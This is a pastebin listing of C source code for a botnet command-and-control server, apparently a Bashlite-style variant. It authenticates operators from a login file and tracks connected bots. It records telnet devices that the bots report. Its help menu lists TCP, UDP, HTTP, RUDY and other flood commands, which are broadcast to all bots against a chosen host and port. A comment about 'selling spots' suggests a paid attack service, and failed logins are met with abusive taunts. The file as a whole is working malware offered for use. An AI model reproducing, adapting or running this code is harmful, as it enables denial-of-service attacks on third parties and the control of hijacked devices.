SHOW:
|
|
- or go back to the newest paste.
1 | // Fixed Verison By LagZi | |
2 | // Main Owner Narcotix | |
3 | ||
4 | #include <stdio.h> | |
5 | #include <stdlib.h> | |
6 | #include <stdint.h> | |
7 | #include <inttypes.h> | |
8 | #include <string.h> | |
9 | #include <sys/types.h> | |
10 | #include <sys/socket.h> | |
11 | #include <netdb.h> | |
12 | #include <unistd.h> | |
13 | #include <time.h> | |
14 | #include <fcntl.h> | |
15 | #include <sys/epoll.h> | |
16 | #include <errno.h> | |
17 | #include <pthread.h> | |
18 | #include <signal.h> | |
19 | #include <arpa/inet.h> | |
20 | #define MAXFDS 1000000 | |
21 | ||
22 | struct login_info { | |
23 | char username[100]; | |
24 | char password[100]; | |
25 | }; | |
26 | static struct login_info accounts[100]; //Edit if selling spots | |
27 | struct clientdata_t { | |
28 | uint32_t ip; | |
29 | char connected; | |
30 | } clients[MAXFDS]; | |
31 | struct telnetdata_t { | |
32 | int connected; | |
33 | } managements[MAXFDS]; | |
34 | struct args { | |
35 | int sock; | |
36 | struct sockaddr_in cli_addr; | |
37 | }; | |
38 | static volatile FILE *telFD; | |
39 | static volatile FILE *fileFD; | |
40 | static volatile int epollFD = 0; | |
41 | static volatile int listenFD = 0; | |
42 | static volatile int OperatorsConnected = 0; | |
43 | static volatile int TELFound = 0; | |
44 | static volatile int scannerreport; | |
45 | ||
46 | int fdgets(unsigned char *buffer, int bufferSize, int fd) { | |
47 | int total = 0, got = 1; | |
48 | while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; } | |
49 | return got; | |
50 | } | |
51 | void trim(char *str) { | |
52 | int i; | |
53 | int begin = 0; | |
54 | int end = strlen(str) - 1; | |
55 | while (isspace(str[begin])) begin++; | |
56 | while ((end >= begin) && isspace(str[end])) end--; | |
57 | for (i = begin; i <= end; i++) str[i - begin] = str[i]; | |
58 | str[i - begin] = '\0'; | |
59 | } | |
60 | static int make_socket_non_blocking (int sfd) { | |
61 | int flags, s; | |
62 | flags = fcntl (sfd, F_GETFL, 0); | |
63 | if (flags == -1) { | |
64 | perror ("fcntl"); | |
65 | return -1; | |
66 | } | |
67 | flags |= O_NONBLOCK; | |
68 | s = fcntl (sfd, F_SETFL, flags); | |
69 | if (s == -1) { | |
70 | perror ("fcntl"); | |
71 | return -1; | |
72 | } | |
73 | return 0; | |
74 | } | |
75 | static int create_and_bind (char *port) { | |
76 | struct addrinfo hints; | |
77 | struct addrinfo *result, *rp; | |
78 | int s, sfd; | |
79 | memset (&hints, 0, sizeof (struct addrinfo)); | |
80 | hints.ai_family = AF_UNSPEC; | |
81 | hints.ai_socktype = SOCK_STREAM; | |
82 | hints.ai_flags = AI_PASSIVE; | |
83 | s = getaddrinfo (NULL, port, &hints, &result); | |
84 | if (s != 0) { | |
85 | fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s)); | |
86 | return -1; | |
87 | } | |
88 | for (rp = result; rp != NULL; rp = rp->ai_next) { | |
89 | sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol); | |
90 | if (sfd == -1) continue; | |
91 | int yes = 1; | |
92 | if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt"); | |
93 | s = bind (sfd, rp->ai_addr, rp->ai_addrlen); | |
94 | if (s == 0) { | |
95 | break; | |
96 | } | |
97 | close (sfd); | |
98 | } | |
99 | if (rp == NULL) { | |
100 | fprintf (stderr, "Could not bind\n"); | |
101 | return -1; | |
102 | } | |
103 | freeaddrinfo (result); | |
104 | return sfd; | |
105 | } | |
106 | void broadcast(char *msg, int us, char *sender) | |
107 | { | |
108 | int sendMGM = 1; | |
109 | if(strcmp(msg, "PING") == 0) sendMGM = 0; | |
110 | char *wot = malloc(strlen(msg) + 10); | |
111 | memset(wot, 0, strlen(msg) + 10); | |
112 | strcpy(wot, msg); | |
113 | trim(wot); | |
114 | time_t rawtime; | |
115 | struct tm * timeinfo; | |
116 | time(&rawtime); | |
117 | timeinfo = localtime(&rawtime); | |
118 | char *timestamp = asctime(timeinfo); | |
119 | trim(timestamp); | |
120 | int i; | |
121 | for(i = 0; i < MAXFDS; i++) | |
122 | { | |
123 | if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue; | |
124 | if(sendMGM && managements[i].connected) | |
125 | { | |
126 | send(i, "\x1b[31m", 5, MSG_NOSIGNAL); | |
127 | send(i, sender, strlen(sender), MSG_NOSIGNAL); | |
128 | send(i, ": ", 2, MSG_NOSIGNAL); | |
129 | } | |
130 | printf("sent to fd: %d\n", i); | |
131 | send(i, msg, strlen(msg), MSG_NOSIGNAL); | |
132 | if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[0;37m> \x1b[0m", 13, MSG_NOSIGNAL); | |
133 | else send(i, "\n", 1, MSG_NOSIGNAL); | |
134 | } | |
135 | free(wot); | |
136 | } | |
137 | void *BotEventLoop(void *useless) { | |
138 | struct epoll_event event; | |
139 | struct epoll_event *events; | |
140 | int s; | |
141 | events = calloc (MAXFDS, sizeof event); | |
142 | while (1) { | |
143 | int n, i; | |
144 | n = epoll_wait (epollFD, events, MAXFDS, -1); | |
145 | for (i = 0; i < n; i++) { | |
146 | if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) { | |
147 | clients[events[i].data.fd].connected = 0; | |
148 | close(events[i].data.fd); | |
149 | continue; | |
150 | } | |
151 | else if (listenFD == events[i].data.fd) { | |
152 | while (1) { | |
153 | struct sockaddr in_addr; | |
154 | socklen_t in_len; | |
155 | int infd, ipIndex; | |
156 | ||
157 | in_len = sizeof in_addr; | |
158 | infd = accept (listenFD, &in_addr, &in_len); | |
159 | if (infd == -1) { | |
160 | if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break; | |
161 | else { | |
162 | perror ("accept"); | |
163 | break; | |
164 | } | |
165 | } | |
166 | ||
167 | clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr; | |
168 | int dup = 0; | |
169 | for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) { | |
170 | if(!clients[ipIndex].connected || ipIndex == infd) continue; | |
171 | if(clients[ipIndex].ip == clients[infd].ip) { | |
172 | dup = 1; | |
173 | break; | |
174 | }} | |
175 | if(dup) { | |
176 | if(send(infd, "!* BOTKILL\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; } | |
177 | close(infd); | |
178 | continue; | |
179 | } | |
180 | s = make_socket_non_blocking (infd); | |
181 | if (s == -1) { close(infd); break; } | |
182 | event.data.fd = infd; | |
183 | event.events = EPOLLIN | EPOLLET; | |
184 | s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event); | |
185 | if (s == -1) { | |
186 | perror ("epoll_ctl"); | |
187 | close(infd); | |
188 | break; | |
189 | } | |
190 | clients[infd].connected = 1; | |
191 | } | |
192 | continue; | |
193 | } | |
194 | else { | |
195 | int datafd = events[i].data.fd; | |
196 | struct clientdata_t *client = &(clients[datafd]); | |
197 | int done = 0; | |
198 | client->connected = 1; | |
199 | while (1) { | |
200 | ssize_t count; | |
201 | char buf[2048]; | |
202 | memset(buf, 0, sizeof buf); | |
203 | while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) { | |
204 | if(strstr(buf, "\n") == NULL) { done = 1; break; } | |
205 | trim(buf); | |
206 | if(strcmp(buf, "PING") == 0) { | |
207 | if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } | |
208 | continue; | |
209 | } | |
210 | if(strstr(buf, "REPORT ") == buf) { | |
211 | char *line = strstr(buf, "REPORT ") + 7; | |
212 | fprintf(telFD, "%s\n", line); | |
213 | fflush(telFD); | |
214 | TELFound++; | |
215 | continue; | |
216 | } | |
217 | if(strstr(buf, "PROBING") == buf) { | |
218 | char *line = strstr(buf, "PROBING"); | |
219 | scannerreport = 1; | |
220 | continue; | |
221 | } | |
222 | if(strstr(buf, "REMOVING PROBE") == buf) { | |
223 | char *line = strstr(buf, "REMOVING PROBE"); | |
224 | scannerreport = 0; | |
225 | continue; | |
226 | } | |
227 | if(strcmp(buf, "PONG") == 0) { | |
228 | continue; | |
229 | } | |
230 | printf("buf: \"%s\"\n", buf); | |
231 | } | |
232 | if (count == -1) { | |
233 | if (errno != EAGAIN) { | |
234 | done = 1; | |
235 | } | |
236 | break; | |
237 | } | |
238 | else if (count == 0) { | |
239 | done = 1; | |
240 | break; | |
241 | } | |
242 | if (done) { | |
243 | client->connected = 0; | |
244 | close(datafd); | |
245 | }}}}}} | |
246 | unsigned int BotsConnected() { | |
247 | int i = 0, total = 0; | |
248 | for(i = 0; i < MAXFDS; i++) { | |
249 | if(!clients[i].connected) continue; | |
250 | total++; | |
251 | } | |
252 | return total; | |
253 | } | |
254 | void *TitleWriter(void *sock) { | |
255 | int datafd = (int)sock; | |
256 | char string[2048]; | |
257 | while(1) { | |
258 | memset(string, 0, 2048); | |
259 | sprintf(string, "%c]0; Bots: %d | Telnet Devices: %d | Users: %d%c", '\033', BotsConnected(), TELFound, OperatorsConnected, '\007'); | |
260 | if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return; | |
261 | sleep(2); | |
262 | }} | |
263 | int Find_Login(char *str) { | |
264 | FILE *fp; | |
265 | int line_num = 0; | |
266 | int find_result = 0, find_line=0; | |
267 | char temp[512]; | |
268 | ||
269 | if((fp = fopen("login.txt", "r")) == NULL){ | |
270 | return(-1); | |
271 | } | |
272 | while(fgets(temp, 512, fp) != NULL){ | |
273 | if((strstr(temp, str)) != NULL){ | |
274 | find_result++; | |
275 | find_line = line_num; | |
276 | } | |
277 | line_num++; | |
278 | } | |
279 | if(fp) | |
280 | fclose(fp); | |
281 | if(find_result == 0)return 0; | |
282 | return find_line; | |
283 | } | |
284 | void *BotWorker(void *sock) { | |
285 | int datafd = (int)sock; | |
286 | int find_line; | |
287 | OperatorsConnected++; | |
288 | pthread_t title; | |
289 | char buf[2048]; | |
290 | char* username; | |
291 | char* password; | |
292 | memset(buf, 0, sizeof buf); | |
293 | char botnet[2048]; | |
294 | memset(botnet, 0, 2048); | |
295 | char botcount [2048]; | |
296 | memset(botcount, 0, 2048); | |
297 | char statuscount [2048]; | |
298 | memset(statuscount, 0, 2048); | |
299 | ||
300 | FILE *fp; | |
301 | int i=0; | |
302 | int c; | |
303 | fp=fopen("login.txt", "r"); | |
304 | while(!feof(fp)) { | |
305 | c=fgetc(fp); | |
306 | ++i; | |
307 | } | |
308 | int j=0; | |
309 | rewind(fp); | |
310 | while(j!=i-1) { | |
311 | fscanf(fp, "%s %s", accounts[j].username, accounts[j].password); | |
312 | ++j; | |
313 | } | |
314 | ||
315 | if(send(datafd, "\x1b[30mUSERNAME:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end; | |
316 | if(fdgets(buf, sizeof buf, datafd) < 1) goto end; | |
317 | trim(buf); | |
318 | char* nickstring; | |
319 | sprintf(accounts[find_line].username, buf); | |
320 | nickstring = ("%s", buf); | |
321 | find_line = Find_Login(nickstring); | |
322 | if(strcmp(nickstring, accounts[find_line].username) == 0){ | |
323 | if(send(datafd, "\x1b[30mPASSWORD:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end; | |
324 | if(fdgets(buf, sizeof buf, datafd) < 1) goto end; | |
325 | ||
326 | char clearscreen [2048]; | |
327 | memset(clearscreen, 0, 2048); | |
328 | sprintf(clearscreen, "\033[1A"); | |
329 | if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end; | |
330 | ||
331 | trim(buf); | |
332 | if(strcmp(buf, accounts[find_line].password) != 0) goto failed; | |
333 | memset(buf, 0, 2048); | |
334 | goto Banner; | |
335 | } | |
336 | failed: | |
337 | if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end; | |
338 | char failed_line1[100]; | |
339 | char failed_line2[100]; | |
340 | char failed_line3[100]; | |
341 | char failed_line4[100]; | |
342 | char failed_line5[100]; | |
343 | char failed_line6[100]; | |
344 | char failed_line7[100]; | |
345 | char failed_line8[100]; | |
346 | char failed_line9[100]; | |
347 | char failed_line10[100]; | |
348 | char failed_line11[100]; | |
349 | char failed_line12[100]; | |
350 | ||
351 | sprintf(failed_line1, "\x1b[0;37m WOW DUDE DO YOU EVEN BELONG HERE \r\n"); | |
352 | sprintf(failed_line2, "\x1b[0;37m WRONG ANSWER YOU DUMB FUCK KYS!!! \r\n"); | |
353 | sprintf(failed_line3, "\x1b[0;37m NOW GO BEFORE BIG BOATS COME ND \r\n"); | |
354 | sprintf(failed_line4, "\x1b[0;37m SLAM YOUR ASS OFFLINE \r\n"); | |
355 | sprintf(failed_line5, "\x1b[0;37mONE ...\r\n"); | |
356 | sprintf(failed_line6,"\x1b[0;37mTWO ...\r\n"); | |
357 | sprintf(failed_line7,"\x1b[0;37mTHREE ...\r\n"); | |
358 | sprintf(failed_line8,"\x1b[0;37mHAH GET NULLED BITCH\r\n"); | |
359 | if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end; | |
360 | if(send(datafd, failed_line2, strlen(failed_line2), MSG_NOSIGNAL) == -1) goto end; | |
361 | if(send(datafd, failed_line3, strlen(failed_line3), MSG_NOSIGNAL) == -1) goto end; | |
362 | if(send(datafd, failed_line4, strlen(failed_line4), MSG_NOSIGNAL) == -1) goto end; | |
363 | if(send(datafd, failed_line5, strlen(failed_line5), MSG_NOSIGNAL) == -1) goto end; | |
364 | if(send(datafd, failed_line6, strlen(failed_line6), MSG_NOSIGNAL) == -1) goto end; | |
365 | if(send(datafd, failed_line7, strlen(failed_line7), MSG_NOSIGNAL) == -1) goto end; | |
366 | if(send(datafd, failed_line8, strlen(failed_line8), MSG_NOSIGNAL) == -1) goto end; | |
367 | sleep(2); | |
368 | if(send(datafd, failed_line5, strlen(failed_line9), MSG_NOSIGNAL) == -1) goto end; | |
369 | sleep(3); | |
370 | if(send(datafd, failed_line6, strlen(failed_line10), MSG_NOSIGNAL) == -1) goto end; | |
371 | sleep(3); | |
372 | if(send(datafd, failed_line7, strlen(failed_line11), MSG_NOSIGNAL) == -1) goto end; | |
373 | sleep(3); | |
374 | if(send(datafd, failed_line8, strlen(failed_line12), MSG_NOSIGNAL) == -1) goto end; | |
375 | sleep(3); | |
376 | goto end; | |
377 | ||
378 | Banner: | |
379 | pthread_create(&title, NULL, &TitleWriter, sock); | |
380 | char ascii_banner_line1 [5000]; | |
381 | char ascii_banner_line2 [5000]; | |
382 | char ascii_banner_line3 [5000]; | |
383 | char ascii_banner_line4 [5000]; | |
384 | char ascii_banner_line5 [5000]; | |
385 | char welcome_line [5000]; | |
386 | ||
387 | sprintf(ascii_banner_line1, "\x1b[0;34m ____ ____ \r\n"); | |
388 | sprintf(ascii_banner_line2, "\x1b[0;34m \ \ / /____ ______ ___________ ____ ____ ____ \r\n"); | |
389 | sprintf(ascii_banner_line3, "\x1b[0;34m \ Y /\__ \ \____ \ / _ \_ __ \_/ __ \/ _ \ / \ \r\n"); | |
390 | sprintf(ascii_banner_line3, "\x1b[0;34m \ / / __ \| |_> > <_> ) | \/\ ___( <_> ) | \ \r\n"); | |
391 | sprintf(ascii_banner_line4, "\x1b[0;34m \___/ (____ / __/ \____/|__| \___ >____/|___| / \r\n"); | |
392 | sprintf(ascii_banner_line5, "\x1b[0;34m \/|__| \/ \/ \r\n"); | |
393 | sprintf(welcome_line, "\x1b[0;34m ~[\x1b[0;31m Welcome, \x1b[0;34m%s]~\r\n", accounts[find_line].username); | |
394 | ||
395 | if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end; | |
396 | if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end; | |
397 | if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end; | |
398 | if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end; | |
399 | if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end; | |
400 | if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end; | |
401 | while(1) { | |
402 | if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end; | |
403 | break; | |
404 | } | |
405 | pthread_create(&title, NULL, &TitleWriter, sock); | |
406 | managements[datafd].connected = 1; | |
407 | ||
408 | while(fdgets(buf, sizeof buf, datafd) > 0) { | |
409 | if(strstr(buf, "COUNT")) { | |
410 | char botcount [5000]; | |
411 | memset(botcount, 0, 5000); | |
412 | sprintf(botcount, "\x1b[0;37mBots: %d | Users: %d\r\n", BotsConnected(), OperatorsConnected); | |
413 | if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return; | |
414 | while(1) { | |
415 | if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end; | |
416 | break; | |
417 | } | |
418 | continue; | |
419 | } | |
420 | if(strstr(buf, "HELP")) { | |
421 | pthread_create(&title, NULL, &TitleWriter, sock); | |
422 | char helpline1 [5000]; | |
423 | char helpline2 [5000]; | |
424 | char helpline3 [5000]; | |
425 | char helpline4 [5000]; | |
426 | char helpline5 [5000]; | |
427 | char helpline6 [5000]; | |
428 | char helpline7 [5000]; | |
429 | char helpline8 [5000]; | |
430 | char helpline9 [5000]; | |
431 | char helpline10 [5000]; | |
432 | char helpline11 [5000]; | |
433 | char helpline12 [5000]; | |
434 | ||
435 | sprintf(helpline1, "\x1b[1;33m~ [ \x1b[;31mDDOS COMMANDS \x1b[1;33m] ~\r\n"); | |
436 | sprintf(helpline2, "\x1b[1;33m ~ [ \x1b[0;31mTCP\x1b[1;33m ] ~ \x1b[0;34m!* TCP host port time 32 Method 100 10\r\n"); | |
437 | sprintf(helpline3, "\x1b[1;33m ~ [ \x1b[0;31mUDP\x1b[1;33m ] ~ \x1b[0;34m!* UDP host port time 32 32 100 10\r\n"); | |
438 | sprintf(helpline4, "\x1b[1;33m ~ [ \x1b[0;31mSTD\x1b[1;33m ] ~ \x1b[0;34m!* STD host port time 32\r\n"); | |
439 | sprintf(helpline5, "\x1b[1;33m ~ [ \x1b[0;31mHTTP\x1b[1;33m ] ~ \x1b[0;34m!* HTTP METHOD URL PORT PATH TIME 200\r\n"); | |
440 | sprintf(helpline6, "\x1b[1;33m ~ [ \x1b[0;31mRUDY\x1b[1;33m ] ~ \x1b[0;34m!* RUDY host port time\r\n"); | |
441 | sprintf(helpline7, "\x1b[1;33m ~ [ \x1b[0;31mCNC\x1b[1;33m ] ~ \x1b[0;34m!* CNC host port time\r\n"); | |
442 | sprintf(helpline8, "\x1b[1;33m~ [ \x1b[;31mMISC COMMANDS \x1b[1;33m] ~\r\n"); | |
443 | sprintf(helpline9, "\x1b[1;33m ~ [ \x1b[0;31mKILL\x1b[1;33m ] ~ \x1b[0;34mKILL\r\n"); | |
444 | sprintf(helpline10, "\x1b[1;33m ~ [ \x1b[0;31mLOGOUT\x1b[1;33m ] ~ \x1b[0;34mLOGOUT\r\n"); | |
445 | sprintf(helpline11, "\x1b[1;33m ~ [ \x1b[0;31mCLEAR\x1b[1;33m ] ~ \x1b[0;34mCLEAR\r\n"); | |
446 | sprintf(helpline12, "\x1b[1;33m ~ [ \x1b[0;31mCOUNT\x1b[1;33m ] ~ \x1b[0;34mCOUNT\r\n"); | |
447 | ||
448 | ||
449 | if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end; | |
450 | if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end; | |
451 | if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end; | |
452 | if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end; | |
453 | if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end; | |
454 | if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end; | |
455 | if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end; | |
456 | if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end; | |
457 | if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end; | |
458 | if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end; | |
459 | if(send(datafd, helpline11, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end; | |
460 | if(send(datafd, helpline12, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end; | |
461 | pthread_create(&title, NULL, &TitleWriter, sock); | |
462 | while(1) { | |
463 | if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end; | |
464 | break; | |
465 | } | |
466 | continue; | |
467 | } | |
468 | if(strstr(buf, "BOTKILL")) { | |
469 | char gtfomynet [2048]; | |
470 | memset(gtfomynet, 0, 2048); | |
471 | sprintf(gtfomynet, "!* BOTKILL\r\n"); | |
472 | broadcast(buf, datafd, gtfomynet); | |
473 | continue; | |
474 | } | |
475 | if(strstr(buf, "KILL")) | |
476 | { | |
477 | char killattack [2048]; | |
478 | memset(killattack, 0, 2048); | |
479 | char killattack_msg [2048]; | |
480 | ||
481 | sprintf(killattack, "!* KILLATTK\r\n"); | |
482 | broadcast(killattack, datafd, "KILL THAT SHIT"); | |
483 | if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end; | |
484 | continue; | |
485 | } | |
486 | if(strstr(buf, "CLEAR")) { | |
487 | char clearscreen [2048]; | |
488 | memset(clearscreen, 0, 2048); | |
489 | sprintf(clearscreen, "\033[2J\033[1;1H"); | |
490 | if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end; | |
491 | if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end; | |
492 | if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end; | |
493 | if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end; | |
494 | if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end; | |
495 | if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end; | |
496 | if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end; | |
497 | while(1) { | |
498 | if(send(datafd, "\x1b[0;37m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end; | |
499 | break; | |
500 | } | |
501 | continue; | |
502 | } | |
503 | if(strstr(buf, "LOGOUT")) { | |
504 | char logoutmessage [2048]; | |
505 | memset(logoutmessage, 0, 2048); | |
506 | sprintf(logoutmessage, "Come Again, %s", accounts[find_line].username); | |
507 | if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end; | |
508 | sleep(2); | |
509 | goto end; | |
510 | } | |
511 | ||
512 | trim(buf); | |
513 | if(send(datafd, "\x1b[0;37m> \x1b[37m", 11, MSG_NOSIGNAL) == -1) goto end; | |
514 | if(strlen(buf) == 0) continue; | |
515 | printf("%s: \"%s\"\n",accounts[find_line].username, buf); | |
516 | ||
517 | FILE *LogFile; | |
518 | LogFile = fopen("history.log", "a"); | |
519 | time_t now; | |
520 | struct tm *gmt; | |
521 | char formatted_gmt [50]; | |
522 | char lcltime[50]; | |
523 | now = time(NULL); | |
524 | gmt = gmtime(&now); | |
525 | strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt ); | |
526 | fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf); | |
527 | fclose(LogFile); | |
528 | broadcast(buf, datafd, accounts[find_line].username); | |
529 | memset(buf, 0, 2048); | |
530 | } | |
531 | ||
532 | end: | |
533 | managements[datafd].connected = 0; | |
534 | close(datafd); | |
535 | OperatorsConnected--; | |
536 | } | |
537 | void *BotListener(int port) { | |
538 | int sockfd, newsockfd; | |
539 | socklen_t clilen; | |
540 | struct sockaddr_in serv_addr, cli_addr; | |
541 | sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
542 | if (sockfd < 0) perror("ERROR opening socket"); | |
543 | bzero((char *) &serv_addr, sizeof(serv_addr)); | |
544 | serv_addr.sin_family = AF_INET; | |
545 | serv_addr.sin_addr.s_addr = INADDR_ANY; | |
546 | serv_addr.sin_port = htons(port); | |
547 | if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding"); | |
548 | listen(sockfd,5); | |
549 | clilen = sizeof(cli_addr); | |
550 | while(1) { | |
551 | newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); | |
552 | if (newsockfd < 0) perror("ERROR on accept"); | |
553 | pthread_t thread; | |
554 | pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd); | |
555 | }} | |
556 | int main (int argc, char *argv[], void *sock) { | |
557 | signal(SIGPIPE, SIG_IGN); | |
558 | int s, threads, port; | |
559 | struct epoll_event event; | |
560 | if (argc != 4) { | |
561 | fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]); | |
562 | exit (EXIT_FAILURE); | |
563 | } | |
564 | port = atoi(argv[3]); | |
565 | telFD = fopen("telnet.txt", "a+"); | |
566 | threads = atoi(argv[2]); | |
567 | listenFD = create_and_bind (argv[1]); | |
568 | if (listenFD == -1) abort (); | |
569 | s = make_socket_non_blocking (listenFD); | |
570 | if (s == -1) abort (); | |
571 | s = listen (listenFD, SOMAXCONN); | |
572 | if (s == -1) { | |
573 | perror ("listen"); | |
574 | abort (); | |
575 | } | |
576 | epollFD = epoll_create1 (0); | |
577 | if (epollFD == -1) { | |
578 | perror ("epoll_create"); | |
579 | abort (); | |
580 | } | |
581 | event.data.fd = listenFD; | |
582 | event.events = EPOLLIN | EPOLLET; | |
583 | s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event); | |
584 | if (s == -1) { | |
585 | perror ("epoll_ctl"); | |
586 | abort (); | |
587 | } | |
588 | pthread_t thread[threads + 2]; | |
589 | while(threads--) { | |
590 | pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL); | |
591 | } | |
592 | pthread_create(&thread[0], NULL, &BotListener, port); | |
593 | while(1) { | |
594 | broadcast("PING", -1, "ZERO"); | |
595 | sleep(60); | |
596 | } | |
597 | close (listenFD); | |
598 | return EXIT_SUCCESS; | |
599 | } |